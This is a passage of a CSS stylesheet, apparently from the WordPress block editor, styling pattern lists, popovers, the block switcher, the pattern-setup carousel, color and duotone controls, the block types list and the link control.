  box-shadow:none;
  outline:none;
}
.components-button.block-editor-block-mover-button:focus-visible:before{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}

.block-editor-block-navigation__container{
  min-width:280px;
}

.block-editor-block-navigation__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 0 12px;
  text-transform:uppercase;
}

.block-editor-block-patterns-list__list-item{
  cursor:pointer;
  margin-bottom:24px;
  position:relative;
}
.block-editor-block-patterns-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-block-patterns-list__list-item[draggable=true]{
  cursor:grab;
}

.block-editor-block-patterns-list__item{
  height:100%;
  scroll-margin-bottom:56px;
  scroll-margin-top:24px;
}
.block-editor-block-patterns-list__item .block-editor-block-preview__container{
  align-items:center;
  border-radius:4px;
  display:flex;
  overflow:hidden;
}
.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{
  flex-grow:1;
  text-align:left;
}
.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px #1e1e1e;
}
.block-editor-block-patterns-list__item:focus .block-editor-block-preview__container{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #1e1e1e;
  outline:2px solid #0000;
  outline-offset:2px;
}
.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:focus .block-editor-block-preview__container,.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px var(--wp-block-synced-color), 0 15px 25px #00000012;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details{
  align-items:center;
  margin-top:8px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{
  height:24px;
  min-width:24px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
}

.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{
  border-top:1px solid #2f2f2f;
  justify-content:center;
  padding:4px;
}
.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary{
  height:32px;
  justify-content:center;
  width:auto;
}
.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:disabled{
  background:none;
  color:#949494;
}
.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){
  background-color:#757575;
  color:#fff;
}
.show-icon-labels .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{
  flex-direction:column;
}
.show-icon-labels .block-editor-patterns__grid-pagination .components-button{
  width:auto;
}
.show-icon-labels .block-editor-patterns__grid-pagination .components-button span{
  display:none;
}
.show-icon-labels .block-editor-patterns__grid-pagination .components-button:before{
  content:attr(aria-label);
}

.components-popover.block-editor-block-popover{
  margin:0 !important;
  pointer-events:none;
  position:absolute;
  z-index:31;
}
.components-popover.block-editor-block-popover .components-popover__content{
  margin:0 !important;
  min-width:auto;
  overflow-y:visible;
  width:max-content;
}
.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{
  pointer-events:all;
}
.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{
  pointer-events:all;
}

.components-popover.block-editor-block-popover__drop-zone *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{
  background-color:var(--wp-admin-theme-color);
  border-radius:2px;
  inset:0;
  position:absolute;
}

.block-editor-block-preview__container{
  overflow:hidden;
  position:relative;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content{
  left:0;
  margin:0;
  min-height:auto;
  overflow:visible;
  text-align:initial;
  top:0;
  transform-origin:top left;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{
  display:none;
}

.block-editor-block-preview__container:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.block-editor-block-rename-modal{
  z-index:1000001;
}

.block-editor-block-settings-menu__popover .components-dropdown-menu__menu{
  padding:0;
}

.block-editor-block-styles+.default-style-picker__default-switcher{
  margin-top:16px;
}

.block-editor-block-styles__preview-panel{
  display:none;
  z-index:90;
}
@media (min-width:782px){
  .block-editor-block-styles__preview-panel{
    display:block;
  }
}
.block-editor-block-styles__preview-panel .block-editor-block-icon{
  display:none;
}

.block-editor-block-styles__variants{
  display:flex;
  flex-wrap:wrap;
  gap:8px;
  justify-content:space-between;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{
  box-shadow:inset 0 0 0 1px #ddd;
  color:#1e1e1e;
  display:inline-block;
  width:calc(50% - 4px);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{
  box-shadow:inset 0 0 0 1px #ddd;
  color:var(--wp-admin-theme-color);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{
  background-color:#1e1e1e;
  box-shadow:none;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{
  color:#fff;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.block-editor-block-styles__variants .block-editor-block-styles__item-text{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{
  box-sizing:border-box !important;
}

.block-editor-block-switcher{
  position:relative;
}
.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{
  min-width:36px;
}

.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{
  position:relative;
}

.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{
  display:block;
  height:48px;
  margin:0;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{
  margin:auto;
}

.block-editor-block-switcher__toggle-text{
  margin-left:8px;
}
.show-icon-labels .block-editor-block-switcher__toggle-text{
  display:none;
}

.components-button.block-editor-block-switcher__no-switcher-icon{
  display:flex;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
  min-width:24px !important;
}

.components-button.block-editor-block-switcher__no-switcher-icon:disabled{
  opacity:1;
}
.components-button.block-editor-block-switcher__no-switcher-icon:disabled,.components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{
  color:#1e1e1e;
}

.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon{
  align-items:center;
  display:flex;
  height:100%;
  margin:0 auto;
  min-width:100%;
  position:relative;
}
.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before{
  bottom:8px;
  left:8px;
  right:8px;
  top:8px;
}

.components-popover.block-editor-block-switcher__popover .components-popover__content{
  min-width:300px;
}

.block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container{
  left:calc(100% + 16px);
  position:absolute;
  top:-12px;
}

.block-editor-block-switcher__preview__popover{
  display:none;
  overflow:hidden;
}
.block-editor-block-switcher__preview__popover.components-popover{
  margin-top:11px;
}
@media (min-width:782px){
  .block-editor-block-switcher__preview__popover{
    display:block;
  }
}
.block-editor-block-switcher__preview__popover .components-popover__content{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:none;
  outline:none;
  overflow:auto;
  width:300px;
}
.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview{
  margin:16px 0;
  max-height:468px;
  overflow:hidden;
  padding:0 16px;
}
.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview.is-pattern-list-preview{
  overflow:unset;
}

.block-editor-block-switcher__preview-title{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  text-transform:uppercase;
}

.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{
  min-width:36px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{
  height:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  height:48px;
  width:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  padding:12px;
}

.block-editor-block-switcher__preview-patterns-container{
  padding-bottom:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{
  margin-top:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-preview__container{
  cursor:pointer;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{
  border:1px solid #0000;
  border-radius:2px;
  height:100%;
  position:relative;
  transition:all .05s ease-in-out;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding:4px;
  text-align:center;
}

.block-editor-block-switcher__no-transforms{
  color:#757575;
  margin:0;
  padding:6px 8px;
}

.block-editor-block-types-list>[role=presentation]{
  display:flex;
  flex-wrap:wrap;
  overflow:hidden;
}

.block-editor-block-pattern-setup{
  align-items:flex-start;
  border-radius:2px;
  display:flex;
  flex-direction:column;
  justify-content:center;
  width:100%;
}
.block-editor-block-pattern-setup.view-mode-grid{
  padding-top:4px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{
  justify-content:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
  column-count:2;
  column-gap:24px;
  display:block;
  padding:0 32px;
  width:100%;
}
@media (min-width:1440px){
  .block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
    column-count:3;
  }
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{
  cursor:pointer;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{
  scroll-margin:5px 0;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{
  color:var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding-top:8px;
  text-align:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{
  border:1px solid #ddd;
  border-radius:2px;
  min-height:100px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{
  align-items:center;
  align-self:stretch;
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  height:60px;
  justify-content:space-between;
  margin:0;
  padding:16px;
  position:absolute;
  text-align:left;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{
  display:flex;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{
  display:flex;
  width:calc(50% - 36px);
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{
  justify-content:flex-end;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{
  height:100%;
  list-style:none;
  margin:0;
  overflow:hidden;
  padding:0;
  position:relative;
  transform-style:preserve-3d;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{
  box-sizing:border-box;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{
  background-color:#fff;
  height:100%;
  margin:auto;
  padding:0;
  position:absolute;
  top:0;
  transition:transform .5s,z-index .5s;
  width:100%;
  z-index:100;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{
  opacity:1;
  position:relative;
  z-index:102;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{
  transform:translateX(-100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{
  transform:translateX(100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{
  display:none;
}

.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{
  width:100%;
}

.block-editor-block-variation-transforms{
  padding:0 16px 16px 52px;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle{
  border:1px solid #757575;
  border-radius:2px;
  justify-content:left;
  min-height:30px;
  padding:6px 12px;
  position:relative;
  text-align:left;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{
  padding-right:24px;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color);
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{
  height:100%;
  padding:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-variation-transforms__popover .components-popover__content{
  min-width:230px;
}

.components-border-radius-control{
  margin-bottom:12px;
}
.components-border-radius-control legend{
  margin-bottom:8px;
}
.components-border-radius-control .components-border-radius-control__wrapper{
  align-items:flex-start;
  display:flex;
  justify-content:space-between;
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{
  flex-shrink:0;
  margin-bottom:0;
  margin-right:16px;
  width:calc(50% - 8px);
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{
  flex:1;
  margin-right:12px;
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control>div{
  align-items:center;
  display:flex;
  height:40px;
}
.components-border-radius-control .components-border-radius-control__wrapper>span{
  flex:0 0 auto;
}
.components-border-radius-control .components-border-radius-control__input-controls-wrapper{
  display:grid;
  gap:16px;
  grid-template-columns:repeat(2, minmax(0, 1fr));
  margin-right:12px;
}
.components-border-radius-control .component-border-radius-control__linked-button{
  display:flex;
  justify-content:center;
  margin-top:8px;
}
.components-border-radius-control .component-border-radius-control__linked-button svg{
  margin-right:0;
}

.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{
  margin-bottom:12px;
}

.block-editor-color-gradient-control__fieldset{
  min-width:0;
}

.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){
  display:block;
}

@media screen and (min-width:782px){
  .block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{
    display:grid;
    grid-template-columns:repeat(6, 28px);
  }
}
.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{
  margin-bottom:inherit;
}

.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{
  padding:16px;
  width:260px;
}

.block-editor-panel-color-gradient-settings__color-indicator{
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}
.block-editor-tools-panel-color-gradient-settings__item{
  border-bottom:1px solid #ddd;
  border-left:1px solid #ddd;
  border-right:1px solid #ddd;
  max-width:100%;
  padding:0;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-top:1px solid #ddd;
  border-top-left-radius:2px;
  border-top-right-radius:2px;
  margin-top:24px;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
}
.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{
  border-radius:inherit;
}

.block-editor-tools-panel-color-gradient-settings__dropdown{
  display:block;
  padding:0;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button{
  height:auto;
  padding-bottom:10px;
  padding-top:10px;
  text-align:left;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{
  background:#f0f0f0;
  color:var(--wp-admin-theme-color);
}
.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.block-editor-panel-color-gradient-settings__dropdown{
  width:100%;
}
.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{
  flex-shrink:0;
}

.block-editor-date-format-picker{
  margin-bottom:16px;
}

.block-editor-date-format-picker__custom-format-select-control__custom-option{
  border-top:1px solid #ddd;
}
.block-editor-date-format-picker__custom-format-select-control__custom-option.has-hint{
  grid-template-columns:auto 30px;
}
.block-editor-date-format-picker__custom-format-select-control__custom-option .components-custom-select-control__item-hint{
  grid-row:2;
  text-align:left;
}

.block-editor-duotone-control__popover>.components-popover__content{
  padding:16px;
  width:260px;
}
.block-editor-duotone-control__popover .components-menu-group__label{
  padding:0;
}
.block-editor-duotone-control__popover .components-circular-option-picker__swatches{
  display:grid;
  gap:12px;
  grid-template-columns:repeat(6, 28px);
  justify-content:space-between;
}

.block-editor-duotone-control__unset-indicator{
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.components-font-appearance-control ul li{
  color:#1e1e1e;
  text-transform:capitalize;
}

.block-editor-global-styles__toggle-icon{
  fill:currentColor;
}

.block-editor-global-styles__shadow-popover-container{
  width:230px;
}

.block-editor-global-styles__shadow__list{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  padding-bottom:8px;
}

.block-editor-global-styles__clear-shadow{
  text-align:right;
}

.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{
  display:block;
  padding:0;
}
.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{
  padding:8px;
  width:100%;
}
.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{
  background-color:#f0f0f0;
}

.block-editor-global-styles__shadow-indicator{
  border:1px solid #e0e0e0;
  border-radius:2px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  height:26px;
  padding:0;
  transform:scale(1);
  transition:transform .1s ease;
  width:26px;
  will-change:transform;
}
.block-editor-global-styles__shadow-indicator:focus{
  border:2px solid #757575;
}
.block-editor-global-styles__shadow-indicator:hover{
  transform:scale(1.2);
}
.block-editor-global-styles__shadow-indicator.unset{
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.block-editor-global-styles-advanced-panel__custom-css-input textarea{
  direction:ltr;
  font-family:Menlo,Consolas,monaco,monospace;
}

.block-editor-height-control{
  border:0;
  margin:0;
  padding:0;
}

.block-editor-image-size-control{
  margin-bottom:1em;
}
.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{
  margin-bottom:1.115em;
}

.block-editor-block-types-list__list-item{
  display:block;
  margin:0;
  padding:0;
  width:33.33%;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-block-synced-color) !important;
  filter:brightness(.95);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-block-synced-color) !important;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{
  background:var(--wp-block-synced-color);
}

.components-button.block-editor-block-types-list__item{
  align-items:stretch;
  background:#0000;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:auto;
  justify-content:center;
  padding:8px;
  position:relative;
  transition:all .05s ease-in-out;
  width:100%;
  word-break:break-word;
}
@media (prefers-reduced-motion:reduce){
  .components-button.block-editor-block-types-list__item{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-button.block-editor-block-types-list__item:disabled{
  cursor:default;
  opacity:.6;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-admin-theme-color) !important;
  filter:brightness(.95);
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-admin-theme-color) !important;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.components-button.block-editor-block-types-list__item:not(:disabled):focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.components-button.block-editor-block-types-list__item:not(:disabled).is-active{
  background:#1e1e1e;
  color:#fff;
  outline:2px solid #0000;
  outline-offset:-2px;
}

.block-editor-block-types-list__item-icon{
  border-radius:2px;
  color:#1e1e1e;
  padding:12px 20px;
  transition:all .05s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-types-list__item-icon{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-block-types-list__item-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
}
.block-editor-block-types-list__item-icon svg{
  transition:all .15s ease-out;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-types-list__item-icon svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{
  cursor:grab;
}

.block-editor-block-types-list__item-title{
  font-size:12px;
  padding:4px 2px 8px;
}

.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon:before{
  content:attr(aria-label);
}

.block-editor-inspector-controls-tabs__hint{
  align-items:flex-start;
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  font-size:13px;
  margin:16px;
}

.block-editor-inspector-controls-tabs__hint-content{
  margin:12px 0 12px 12px;
}

.block-editor-inspector-controls-tabs__hint-dismiss{
  margin:4px 4px 4px 0;
}

.block-editor-inspector-popover-header{
  margin-bottom:16px;
}

[class].block-editor-inspector-popover-header__action{
  height:24px;
}
[class].block-editor-inspector-popover-header__action.has-icon{
  min-width:24px;
  padding:0;
}
[class].block-editor-inspector-popover-header__action:not(.has-icon){
  text-decoration:underline;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.block-editor-link-control{
  min-width:350px;
  position:relative;
}
.components-popover__content .block-editor-link-control{
  max-width:350px;
  min-width:auto;
  width:90vw;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon:before{
  content:attr(aria-label);
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{
  gap:8px;
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{
  min-width:inherit;
  width:min-content;
}

.block-editor-link-control__search-input-wrapper{
  margin-bottom:8px;
  position:relative;
}

.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{
  position:relative;
}

.block-editor-link-control__field{
  margin:16px;
}
.block-editor-link-control__field .components-base-control__label{
  color:#1e1e1e;
}
.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:40px;
  line-height:normal;
  margin:0;
  padding:8px 40px 8px 16px;
  position:relative;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{
    font-size:13px;
    line-height:normal;
  }
}
